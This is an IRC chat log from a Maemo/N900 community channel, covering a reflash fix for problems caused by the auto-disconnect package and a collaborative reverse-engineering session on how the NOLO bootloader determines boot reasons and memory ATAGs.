| 12:12.24 | TTilus | but a bit overkill in case there is a direct solution |
| 12:13.56 | DocScrutinizer05 | tra-la-l1: which "firmware"? PR1.3.1, or CSSU? |
| 12:14.12 | kwtm | I, too, would hope some brainstorming can find a non-completereflash solution. |
| 12:15.08 | DocScrutinizer05 | tra-la-l1: also, what did you do yesterday? (usually those problems don't start out of thin air) |
| 12:15.24 | vi_ | garbagein==garbage out |
| 12:15.36 | tra-la-l1 | DocScrutinizer05: PR 1.3.1, if I remember well, but I haven't played wth it for a long time, so not sure if I changes it |
| 12:16.09 | DocScrutinizer05 | ooh, so you meant you switched it on yesterday after months of it staying in shelf? |
| 12:16.31 | tra-la-l1 | DocScrutinizer05: nothing particular yesterday, maybe the problem is here for a few days, but I didn't install any new software or anything that make |
| 12:16.54 | tra-la-l1 | no, I mean that I just used it as a phone for the last few monthes |
| 12:17.13 | DocScrutinizer05 | mhm, and you didn't connect to WLAN during that time? |
| 12:17.21 | tra-la-l1 | without seing anything strange or even installing any software |
| 12:17.35 | tra-la-l1 | but yes, I used it to connect to wireless |
| 12:17.40 | DocScrutinizer05 | hmm |
| 12:18.04 | DocScrutinizer05 | so it apparently started to misbehave with no actual reason |
| 12:18.18 | vi_ | munch crunch munch |
| 12:18.42 | tra-la-l1 | DocScrutinizer05: apparently, yes. |
| 12:18.48 | DocScrutinizer05 | do you have any non-standard inetrnet/WLAN related stuff installed? like auto-disconnect etc |
| 12:19.05 | tra-la-l1 | Yes, I have auto-disconnect installed |
| 12:19.11 | DocScrutinizer05 | oooh |
| 12:19.22 | DocScrutinizer05 | reflash! don't install auto-disconnect |
| 12:19.46 | tra-la-l1 | won't apt-get remove be enough? |
| 12:20.04 | DocScrutinizer05 | auto-disconnect is notorious to cause *all sorts* of nasty effects and bugs, and apparently there's no clean uninstall for it |
| 12:20.31 | tra-la-l1 | ok, didn't know that |
| 12:22.14 | DocScrutinizer05 | on the bright side: you can expect everything back to normal, after reflashing and restore a backup done with maemo backup app, with *deselecting* auto-disconnect from the list of apps to restore |
| 12:22.32 | jacekowski | infobot: seen pali |
| 12:22.39 | infobot | pali is currently on #maemo (48m 40s) #maemo-ssu (48m 40s), last said: 'jacekowski, you can write me message if I'm online too (I will read it in irc log as your yesterday attempt to ping/catch me :)'. |
| 12:22.39 | DocScrutinizer05 | o/ jacekowski |
| 12:22.43 | Pali | hi |
| 12:22.46 | jacekowski | Pali: hi |
| 12:22.48 | DocScrutinizer05 | o/ Pali |
| 12:22.50 | jacekowski | Pali: well, i've had a look at it |
| 12:23.04 | tra-la-l1 | DocScrutinizer05: I'll do that then, it would have been a shame to lose all my packages to make a clean install |
| 12:23.41 | Pali | jacekowski, nolo? |
| 12:24.10 | DocScrutinizer05 | nah, just do a full backup with built-in backup app, then install backupmenu and do a disk"image" backup of your whole system, just in case |
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| 12:24.44 | DocScrutinizer05 | then uninstall auto-disconnect |
| 12:25.14 | DocScrutinizer05 | remove auto-disconnect related stuff from ~user/ |
| 12:25.25 | DocScrutinizer05 | then flash rootfs/COMBINED |
| 12:25.50 | DocScrutinizer05 | run backup app restore, uncheck auto-disconnect from list of apps to re-install |
| 12:26.07 | jacekowski | Pali: yeah |
| 12:26.07 | jacekowski | i've found the function that generates atags |
| 12:26.27 | Pali | nice, show it :-) |
| 12:28.04 | tra-la-l1 | ok, the backup is on his way. |
| 12:28.30 | DocScrutinizer05 | tra-la-l1: shouldn't take too long |
| 12:28.50 | DocScrutinizer05 | after it finishing, install backupmenu app |
| 12:28.57 | DocScrutinizer05 | do a backup with BM |
| 12:29.54 | DocScrutinizer05 | then do a backup to PC of all your stuff on MyDocs, incl the backup files created by maemo-backup and BM |
| 12:30.07 | DocScrutinizer05 | the apt-get purge auto-disconnect |
| 12:30.10 | DocScrutinizer05 | theN |
| 12:31.08 | tra-la-l1 | flash, restore and hope it solves the problem :) |
| 12:31.22 | DocScrutinizer05 | yup |
| 12:31.39 | DocScrutinizer05 | just make sure you don't restore auto-disconnect as well ;-) |
| 12:32.38 | tra-la-l1 | Does the restore utility give a list of apps to restore, or do I have to remove it from the list inside the backup file? |
| 12:33.16 | DocScrutinizer05 | if anything breaks terribly (due to you doing an oopsie) you still can roll back completely to the system backed-up by BM |
| 12:33.22 | jacekowski | Pali: well, i've had no time to trace it exactly |
| 12:33.28 | DocScrutinizer05 | tra-la-l1: it gives a list |
| 12:33.33 | jacekowski | Pali: but it looks like atag data is coming from xloader |
| 12:33.48 | tra-la-l1 | nice |
| 12:33.53 | DocScrutinizer05 | yep, indeed |
| 12:34.26 | Pali | jacekowski, do you have disassembled nolo/x-loader text files? |
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| 12:38.17 | jacekowski | yes |
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| 12:46.36 | vi_ | bashphorism 1: the questioner's first description of the |
| 12:46.40 | vi_ | problem/question will be misleading. |
| 12:46.44 | vi_ | ^true |
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| 12:52.51 | cityLights | hi |
| 12:53.00 | cityLights | is anyone here from spain? |
| 12:53.33 | vi_ | nope |
| 12:53.44 | vi_ | worried about the euro too? |
| 12:53.49 | vi_ | we all are bro. |
| 12:54.00 | cityLights | na, seeking advice |
| 12:54.55 | vi_ | are you seeking an auto incrementing pattern matcher? |
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| 12:57.38 | jacekowski | Pali: are you going to be around bit later? |
| 12:58.04 | jacekowski | Pali: around 1900 CEST |
| 12:58.18 | Pali | jacekowski, sure |
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| 13:47.37 | RST38h | MEANWHILE: 1,000 Foxconn iPad workers trash dorms in riot against guards |
| 13:50.23 | vi_ | riot against guards> |
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| 13:50.25 | vi_ | ? |
| 13:50.27 | vi_ | wtf? |
| 13:50.32 | vi_ | is it a factory |
| 13:50.36 | jaska | 1000 foxconn inmates |
| 13:50.47 | vi_ | or a ghoulag internment camp? |
| 13:50.56 | Raimu | You need to keep your workers in line. |
| 13:51.10 | vi_ | then you execute your generals. |
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| 13:51.41 | Raimu | Then you get the sugar. And then you get the power. |
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| 14:04.21 | teotwaki | TTilus: if you use an irc client that is incapable of line wrap, you need to be shot. |
| 14:05.15 | RST38h | TheRegister readers about Win8: "Nobody will want to have their PC look like a mobile phone which nobody wants." |
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| 14:19.03 | vi_ | RST38h: double negative? |
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| 14:28.57 | teotwaki | Also, that should be "that" instead of "which". |
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| 15:22.08 | Raimu | Heh, http://talk.maemo.org/showthread.php?t=84720 |
| 15:22.18 | Raimu | Poor guy. Broke his n950. |
| 15:25.22 | SpeedEvil | :/ |
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| 15:39.15 | vi_ | Raimu: It was not 'his' N950. |
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| 15:47.57 | Raimu | Is this the "It was Nokia's phone, graciously given to use for his relative" argument? :) |
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| 15:52.17 | SpeedEvil | Am I misremembering the terms, or was there in fact no language against giving it to other people - as long as it can be returned? |
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| 15:52.53 | vi_ | I assumed you were not allowed to let anyone else see it. |
| 15:53.12 | vi_ | And this guy was about to get his relative in a shit load of trouble. |
| 15:53.45 | SpeedEvil | There is 'will not use it to disparage nokia' language |
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| 16:54.58 | maemobot | LOL wut: http://talk.maemo.org/showthread.php?t=84720 |
| 16:55.04 | maemobot | nice example of nepotism |
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| 16:57.15 | Estel_ | ough, connection problem... for a moment, i though that I got kicked, and started wondering, if "nepotism" isn't anagram of DocScrutinizer, or something like that ;) |
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| 16:57.32 | Estel_ | well, different number of letters, so I can, probably, feel safe |
| 17:00.17 | DocScrutinizer05 | SpeedEvil: "the" terms? when his relative is e.g. tekoyo or konttori, I don't think any terms we ever get to know about would apply |
| 17:01.29 | DocScrutinizer05 | SpeedEvil: I got several GTA02 here, and I got them with basically no restrictions on what I'm allowed to do with them |
| 17:02.20 | DocScrutinizer05 | it's quite usual that those who invent the rules are free to obey or not obey to them |
| 17:05.02 | DocScrutinizer05 | vi_: you definitely are supposed to show the device off at any possible occasion ;-) |
| 17:06.12 | DocScrutinizer05 | vi_: and no, I don't think that's warranted that there has to be any shitload of trouble for that guy's Nokia R&D relative |
| 17:07.38 | Woody14619 | snickers at the "no restriction" on GTA02... :) |
| 17:08.01 | Woody14619 | has a GTA02 as well, and knows it's quite restricted in what it can do... :P |
| 17:10.34 | DocScrutinizer05 | hehehe |
| 17:11.45 | DocScrutinizer05 | well, OM actually never was any non-disclosive about his development |
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| 17:39.06 | Woody14619 | It was a great poritble linux box... but some/most of the built-in hardware just didn't like life. (GSM, BT, Wifi, etc) Never could get GSM to talk to the BT while connected to a headset, which was a deal killer for me. |
| 17:40.06 | Woody14619 | I've been debating using is as a nice low-power mifi, you know, with the vast ammounts of free time I have to code up such a thing. :P |
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| 17:42.41 | DocScrutinizer05 | *nod* |
| 17:43.17 | DocScrutinizer05 | BT SCO was a bit tricky |
| 17:44.04 | DocScrutinizer05 | the BT chip needed to get switched to PCM hard (as in "flash some bit in firmware") |
| 17:47.23 | DocScrutinizer05 | given the wired headset wasn't particularly great either in any way, I can understand why this is a dealbreaker for anybody who wants to use a headset with gta02 |
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| 18:14.19 | jacekowski | Pali: ? |
| 18:14.40 | Pali | jacekowski, I'm here |
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| 18:18.45 | GeneralAntilles | Everybody see the MetaWatch sale today? http://tideals.com/ |
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| 18:22.29 | jacekowski | give me a sec qemu is playing up |
| 18:22.43 | Pali | ok |
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| 18:58.58 | DocScrutinizer05 | GeneralAntilles: is this sale any special? wasn't it always at ~150usd for the digital? |
| 18:59.06 | DocScrutinizer05 | or even less? |
| 19:01.30 | GeneralAntilles | No |
| 19:01.31 | GeneralAntilles | $199 |
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| 19:10.16 | Pali | jacekowski, ready? |
| 19:11.04 | DocScrutinizer05 | GeneralAntilles: aah, ok |
| 19:11.23 | DocScrutinizer05 | so they need to get rid of the non-iOS-compatible stuff |
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| 19:13.56 | Tofe | plop |
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| 19:22.32 | jacekowski | Pali: i think so |
| 19:29.02 | jacekowski | Pali: ok, basically, there is a big function that prepares atags |
| 19:29.31 | jacekowski | Pali: i've looked at two different nolo versions and it's @RAM:804010B8 on both |
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| 19:30.40 | DocScrutinizer05 | go hackers gooooooooo! |
| 19:30.45 | DocScrutinizer05 | :-D |
| 19:31.10 | Pali | can you share disassembled nolo with addresses? |
| 19:31.19 | DocScrutinizer05 | idly wonders where jonwil is MIA |
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| 19:31.38 | Pali | jacekowski, something plain text |
| 19:31.44 | freemangordon | jacekowski: do you use IDA? |
| 19:32.39 | DocScrutinizer05 | I'd guess a certain complexity of GUI based analysis can't sanely get exported as plaintext anymore |
| 19:33.13 | jacekowski | freemangordon: yes |
| 19:34.01 | jacekowski | Pali: my .idb won't help you unless you've got licence |
| 19:34.02 | Tofe | oh gosh, IDA still exists today ? what's the current version number ? 23 ? |
| 19:34.25 | DocScrutinizer05 | in-circuit-emulator backtraces and rich disassembler output falling into that category |
| 19:34.28 | jacekowski | Tofe: depends |
| 19:34.31 | jacekowski | Tofe: 6.3 |
| 19:34.44 | jacekowski | Tofe: latest leaked version is 6.1 |
| 19:34.45 | Tofe | ah. weird. must be something else then. |
| 19:34.47 | freemangordon | Tofe: 6.1 (the latest on piratebay) :) |
| 19:35.58 | freemangordon | jacekowski: you have ARM hexrays? |
| 19:35.59 | jacekowski | i'm not sure why ida decided to mess my database for some unknown reason |
| 19:36.03 | user__ | <3 IDA |
| 19:36.04 | freemangordon | is envy |
| 19:36.22 | jacekowski | freemangordon: not my myself |
| 19:36.27 | vi__ | <3 IDA |
| 19:36.29 | DocScrutinizer05 | oooh, hi user__- long time no see ;-P |
| 19:36.32 | vi__ | heh |
| 19:36.42 | vi__ | clinks doc's beer. |
| 19:36.47 | DocScrutinizer05 | hehe |
| 19:36.53 | jacekowski | freemangordon: but hexrays is pretty useless |
| 19:36.57 | jacekowski | freemangordon: at least the arm version |
| 19:37.06 | jacekowski | freemangordon: x86 is a lot better |
| 19:37.20 | freemangordon | jacekowski: yeah, 386 is pretty useful |
| 19:37.26 | Pali | what is hexrays? |
| 19:37.29 | vi__ | olliedbg 4tw! |
| 19:37.34 | freemangordon | decompiler |
| 19:38.20 | vi__ | not available with IDA free version |
| 19:38.36 | freemangordon | vi_: since when IDA has a free version? |
| 19:38.41 | jacekowski | freemangordon: since always |
| 19:38.55 | vi__ | It is ironic that the program for haxing copy protection has copy protection. |
| 19:38.57 | freemangordon | and last free version is? 4 |
| 19:39.00 | jacekowski | freemangordon: but it's few versions behind paid version and limited features |
| 19:39.06 | vi__ | freemangordon: old versions are free. |
| 19:39.13 | jacekowski | vi__: well, ida copy protection is easy to defeat |
| 19:39.14 | freemangordon | yeah, the last free was 4 iirc |
| 19:39.19 | jacekowski | 5.5 |
| 19:39.24 | freemangordon | could be |
| 19:39.39 | freemangordon | Pali: you should get one |
| 19:39.43 | freemangordon | :) |
| 19:39.47 | jacekowski | hmm, 5.0 |
| 19:39.54 | jacekowski | http://178.63.31.6/files/idafree50.exe |
| 19:40.10 | freemangordon | the same, it is useless for ARM |
| 19:40.16 | jacekowski | not really |
| 19:40.34 | jacekowski | disassembler module hasn't changed that much |
| 19:40.41 | jacekowski | no debugger though |
| 19:41.30 | freemangordon | I've been trying to RE several libs with 5.0, it results in a total mess. 6.x does much better if not perfect job |
| 19:42.15 | freemangordon | it is not disasm, but the logic behind (i.e. stack, registers, etc) |
| 19:42.15 | Pali | jacekowski, I have other question about x-loader/nolo: how it get bootreason (pwr button, sw_rst, ...) |
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| 19:45.54 | jacekowski | RAM:80403EF0 |
| 19:46.13 | jacekowski | that's the function that sets variables in nolo after checking bootreason |
| 19:47.17 | jacekowski | but bootreason itself seems to be stored @0x48307258 |
| 19:47.56 | freemangordon | jacekowski: mind to shre .idbs |
| 19:48.01 | freemangordon | *share |
| 19:49.25 | jacekowski | my idb isn't going to help you unless you've got legit version of ida |
| 19:49.34 | jacekowski | as in, latest |
| 19:50.02 | freemangordon | :( |
| 19:50.13 | freemangordon | 6.1 not enough? |
| 19:50.26 | jacekowski | nah |
| 19:50.36 | jacekowski | database format is updated every version |
| 19:50.36 | Pali | what is start ram adrress? |
| 19:50.45 | jacekowski | 0x8something |
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| 19:50.56 | freemangordon | damn |
| 19:50.58 | jacekowski | RAM:80400000 |
| 19:52.51 | jacekowski | i really feel sorry for people that are buying new version of ida |
| 19:53.21 | jacekowski | i was lucky enough to buy it before they started charging for windows and linux version separately |
| 19:54.59 | vi__ | jacekowski: personal license? |
| 19:55.03 | jacekowski | yeah |
| 19:55.26 | vi__ | I can see the jacekowski advice animal meme now: |
| 19:55.50 | vi__ | jacekowski: buys legitimate software to crack legitimate software. |
| 19:57.02 | jacekowski | i've been using ida since don't remember when |
| 19:57.06 | jacekowski | but when it was freeware only |
| 19:57.16 | jacekowski | and then i've had latest version at work |
| 19:57.33 | jacekowski | and then it was kinda strange to have to go back to free version |
| 19:58.18 | vi__ | out of curiosity, what do you work as? |
| 19:58.32 | jacekowski | now, something not really related |
| 19:58.54 | vi__ | when you were using IDA |
| 19:59.05 | jacekowski | AV |
| 19:59.06 | vi__ | I cannot think of a legitimate use for it. |
| 19:59.10 | vi__ | Oh |
| 19:59.13 | vi__ | thats one! |
| 20:00.02 | jacekowski | and besides, i remember something you said week ago |
| 20:00.07 | jacekowski | about n900 serial port |
| 20:00.11 | vi__ | erp |
| 20:00.16 | vi__ | ... |
| 20:00.17 | jacekowski | it was me not r00t |
| 20:00.22 | vi__ | aah |
| 20:00.25 | vi__ | apologies |
| 20:00.47 | vi__ | I for some reason thought it was someone with the word root in his name. |
| 20:01.05 | vi__ | I have bought shame on the clan of '_' |
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| 20:03.35 | jacekowski | there is not much use for that port anyways |
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| 20:04.00 | vi__ | I was really hoping there would be an I2C there. |
| 20:04.26 | freemangordon | jacekowski: isn't that port used for nolo trace messages? |
| 20:04.53 | jacekowski | yeah, and nolo serial console/commandline |
| 20:05.12 | freemangordon | hmm, that could be usefull then |
| 20:05.20 | freemangordon | (to an extend) |
| 20:05.30 | jacekowski | only if you are doing some work on bootloader |
| 20:05.44 | freemangordon | I see |
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| 20:12.21 | vi__ | http://www.ebay.co.uk/itm/Nokia-N950-dev-phone-/280896512893?pt=UK_Mobile_Phones&hash=item4166bca37d#ht_500wt_951 |
| 20:12.25 | vi__ | orly? |
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| 20:13.28 | jacekowski | looks kinda stolen |
| 20:17.00 | vi__ | brb |
| 20:17.03 | vi__ | booze |
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| 20:34.17 | Pali | <jacekowski> but bootreason itself seems to be stored @0x48307258 > This address you get from NOLO? |
| 20:34.26 | Pali | or from memory/omap trm? |
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| 20:40.39 | jacekowski | nolo |
| 20:41.04 | Pali | ok, thanks! |
| 20:41.31 | Pali | in omap trm it is PRM_RSTST at address 0x48307258 |
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| 20:42.15 | jacekowski | 0x48004B40 |
| 20:42.19 | jacekowski | what's at that address? |
| 20:42.36 | vi__ | by how much does n900 compcache compress data? |
| 20:42.39 | vi__ | x2? |
| 20:42.42 | vi__ | x3? |
| 20:42.57 | jacekowski | depends on data |
| 20:44.29 | vi__ | what are guesstimate best and worst cases? |
| 20:44.42 | Pali | 0x48004B40 - CM_CLKSEL_SGX |
| 20:44.44 | jacekowski | 2x-ish |
| 20:45.09 | jacekowski | Pali: strange, it's comparing those two addresses to detect some sort of Off-mode cold reset bug detected |
| 20:45.12 | jacekowski | whatever that is |
| 20:45.52 | Pali | Description: SGX clock selection |
| 20:46.14 | jacekowski | yeah, i don't see a reltion between those |
| 20:46.53 | Pali | read - always return 0 |
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| 20:50.40 | Pali | 0x48307258 - PRM_RSTST - This register logs the global reset sources. Each bit is set upon release of the domain reset signal. Must be cleared by software. |
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| 20:52.31 | Pali | register is 32bit |
| 20:52.58 | Pali | bit 0 - GLOBAL_COLD_RST |
| 20:53.02 | Pali | bit 1 - GLOBAL_SW_RST |
| 20:53.23 | Pali | bit 4 - MPU_WD_RST |
| 20:53.36 | Pali | bit 6 - EXTERNAL_WARM_RST |
| 20:53.44 | DocScrutinizer05 | there you are |
| 20:54.05 | Pali | but if you write 1, then you clear status :-( |
| 20:54.31 | Pali | and seems that NOLO is clearing status of registers... |
| 20:54.32 | DocScrutinizer05 | not meant to write anything to that register, I'd guess |
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| 20:54.49 | DocScrutinizer05 | well, then NOLO will move that state to somewhere else |
| 20:54.55 | jacekowski | hmmmmm |
| 20:55.01 | Pali | to ATAG bootreason |
| 20:55.05 | DocScrutinizer05 | yup |
| 20:55.07 | jacekowski | not exactly |
| 20:55.18 | jacekowski | not directly |
| 20:55.27 | Pali | could be |
| 20:55.31 | jacekowski | there is like a kinda lookup table |
| 20:56.25 | jacekowski | 0x14 |
| 20:56.38 | jacekowski | 10100 |
| 20:56.42 | jacekowski | that would be usb boot reason |
| 20:57.21 | Pali | really 0x1410100 ? |
| 20:58.20 | jacekowski | 0x14 |
| 20:58.33 | jacekowski | which is 0b10100 |
| 20:58.57 | Pali | in what register? |
| 20:59.05 | Pali | 0x48307258? |
| 20:59.11 | jacekowski | nah, that's nolo vlue |
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| 21:01.45 | jacekowski | there is a table in nolo that translates those values |
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| 21:02.21 | jacekowski | http://pastebin.com/09j11xHR |
| 21:06.40 | jacekowski | so for example 0x1 in register would translate to 0x10 in nolo which means por |
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| 21:07.43 | jacekowski | 8=3 |
| 21:08.05 | jacekowski | 0x10=4 - 32wd_to |
| 21:08.21 | wmarone | 32wd_to... my old nemesis... |
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| 21:10.55 | Pali | > so for example 0x1 in register... which register? |
| 21:11.10 | jacekowski | PRM_RSTST |
| 21:11.20 | jacekowski | rest of them is bit more complicated ANDS.W R0, R4, #0x20 |
| 21:11.27 | jacekowski | because i'm not sure what ANDS is doing |
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| 21:14.30 | Pali | I do not understand... how is 0x1 transtaled into por? |
| 21:14.45 | jacekowski | there is function in nolo that does it |
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| 21:18.38 | Pali | ah now I see from that log, that "DCD 0x10" line means arm code "00000001" which is "andeq r0, r0, r1" |
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| 21:20.46 | jacekowski | no |
| 21:21.09 | jacekowski | basicaly there is a function in nolo that starts atRAM:80403EF0 |
| 21:21.22 | jacekowski | that function takes that PRM_RSTST register |
| 21:21.49 | jacekowski | comapres it agains that other magic value to check for that cold reset bug |
| 21:21.52 | jacekowski | or whatever it is |
| 21:21.59 | jacekowski | and then translates the number |
| 21:22.08 | jacekowski | 0x1 into 0x10 |
| 21:22.14 | jacekowski | 0x8 into 0x3 |
| 21:22.19 | jacekowski | 0x10 into 0x4 |
| 21:22.30 | jacekowski | and then those numbers are looked up in table i've pased |
| 21:22.31 | jacekowski | pasted |
| 21:22.37 | jacekowski | to give you final bootreason |
| 21:23.01 | Pali | ok |
| 21:23.18 | jacekowski | + there is r&d flag that will force bootreason to be always pwr_key |
| 21:24.42 | jacekowski | it's mater of simple switch statement to replace that |
| 21:25.51 | Pali | 0x8 = 3 - Reserved for non-GP devices. |
| 21:26.44 | jacekowski | nah |
| 21:27.04 | jacekowski | 0x8=0b1000 |
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| 21:27.21 | jacekowski | hmmmm |
| 21:27.23 | jacekowski | yeah |
| 21:27.34 | Pali | 0x10 = 16 - MPU_WD_RST - MPU watchdog reset event |
| 21:27.45 | jacekowski | hmmm |
| 21:27.46 | jacekowski | sec_vio |
| 21:27.52 | jacekowski | security violation? |
| 21:28.11 | Pali | maybe for hs mode |
| 21:28.48 | Pali | 0x10 into 0x4 which is 32wd_to |
| 21:28.56 | Pali | so really watchdog reset |
| 21:30.10 | jacekowski | yeah |
| 21:30.38 | jacekowski | later it's doing and and shift to that register and comparing it |
| 21:30.45 | jacekowski | but i'm not sure how ANDS exactly work |
| 21:30.56 | Pali | google |
| 21:33.18 | jacekowski | hmm |
| 21:33.25 | jacekowski | 0x20 - 2? |
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| 21:34.21 | Pali | bit 5 - Reserved for non-GP devices. |
| 21:38.18 | jacekowski | hmm, that's SW reset |
| 21:38.29 | jacekowski | if 0x20 is set |
| 21:38.46 | jacekowski | + then there is sw_reset reason encoded in other bits |
| 21:40.00 | jacekowski | 0x200 - 0x11 |
| 21:40.14 | Pali | 0x20 = 0b100000 = 5th bit - Reserved for non-GP devices. |
| 21:41.24 | jacekowski | that would be all |
| 21:41.31 | jacekowski | if it's anything else it's set as unknown |
| 21:41.42 | jacekowski | hmm, unless |
| 21:42.13 | Pali | 0x200 = bit 9 - ICEPICK_RST - IcePick reset event. This is a source of warm reset initiated by the emulation. |
| 21:43.21 | Pali | ok, thanks much |
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| 21:44.41 | Pali | jacekowski, can you find how nolo generate MEM atag? On some N900 it generate 2 MEM atags and on some only one MEM atag |
| 21:44.47 | Pali | see: http://talk.maemo.org/showthread.php?t=84560 |
| 21:44.52 | jacekowski | hmmm |
| 21:44.57 | Pali | it generate same nolo version |
| 21:45.01 | jacekowski | yeah, i've seen that |
| 21:45.28 | jacekowski | there is a lot more bootreasons but those are based on twl4030 data somehow |
| 21:46.37 | Pali | how nolo decide if it will generate two or one MEM atag? |
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| 21:47.46 | Pali | seems that all other atags are static (or at least same for all tested n900 from that thread) |
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| 21:50.40 | jacekowski | dunno |
| 21:51.10 | jacekowski | it looks like that is HW generated |
| 21:51.26 | jacekowski | or at least 1st stage noloxldr |
| 21:52.17 | Pali | on tmo is 2 different dumps from two n900 with hw rev 2104 britain |
| 21:52.35 | jacekowski | i mean, it depends on value passed to noloscnd in R4 |
| 21:53.14 | Pali | and what has R4? some info which tell xloader to nolo? |
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| 21:53.38 | Pali | also x-loader is same for all 21** and 22** revs |
| 21:53.54 | jacekowski | yes |
| 21:54.14 | Pali | oh |
| 21:54.25 | jacekowski | but it looks like it's generating same atags anyways |
| 21:54.37 | jacekowski | it covers same physical addresses |
| 21:54.51 | jacekowski | but in some cases it's divided into two atags |
| 21:55.36 | jacekowski | i wouldn't be worried about that |
| 21:55.37 | Pali | I do not know what is linux kernel doing with MEM atag |
| 21:56.31 | Pali | is kernel doing some initialization for each mem atag? |
| 21:57.36 | jacekowski | no |
| 21:57.58 | jacekowski | all kernel is doing is expecting to see ready memory under those addresses |
| 21:58.11 | Pali | it call function add_physical_memory |
| 21:58.59 | jacekowski | yeah, but there is nothing to init physical memory in there |
| 21:59.07 | jacekowski | memory is supposed to be initialised by then |
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| 22:00.33 | Pali | for arm it is function arm_add_memory (not add_physical_memory) |
| 22:00.44 | Pali | http://lxr.free-electrons.com/source/arch/arm/kernel/setup.c#L672 |
| 22:00.56 | jacekowski | http://www.simtec.co.uk/products/SWLINUX/files/booting_article.html |
| 22:01.56 | jacekowski | nothing serious there |
| 22:02.18 | jacekowski | 4. Configuring the system's memory |
| 22:02.23 | jacekowski | The bootloader is expected to find and initialise all RAM that the kernel will use for volatile data storage in the system. It performs this in a machine dependent manner. It may use internal algorithms to automatically locate and size all RAM, or it may use knowledge of the RAM in the machine, or any other method the bootloader designer sees fit. |
| 22:02.30 | jacekowski | In all cases it should be noted that all setup is performed by the bootloader. The kernel should have no knowledge of the setup or configuration of the RAM within a system other than that provided by the bootloader. The use of machine_fixup() within the kernel is most definitely not the correct place for this. There is a clear distinction between the bootloaders responsibility and the kernel in this area. |
| 22:02.38 | jacekowski | The kernel will coalesce blocks passed to it if they are contiguous physical regions. |
| 22:03.24 | jacekowski | so kernel doesn't care about that memory |
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| 22:03.47 | Pali | ok, so it is same it it pass 2 mem or one mem (if they are continuous) |
| 22:12.46 | Pali | jacekowski, thanks for all! |
| 22:12.54 | Pali | now going offline, bye |
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| 23:16.26 | kke | i have two different mounts for /home/user, how come if i modify the desktop or email accounts, the changes affect both of them, no matter which one is mounted? |
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| 23:38.28 | Hurrian | kke, how can that happen? |
| 23:38.52 | Hurrian | for example, you have one filesystem on /home/user, mmcblk0p2 |
| 23:38.59 | Hurrian | then you mount mmcblk1p2 on it |
| 23:39.14 | Hurrian | unless you're using unionfs, it's going to start writing to 1p2 |
| 23:43.22 | kke | dont know, thats really strange |
| 23:44.40 | kke | the other fs is crypted and cant be accidentally mounted |
| 23:46.10 | kke | something saves something somewhere else or what the heck |
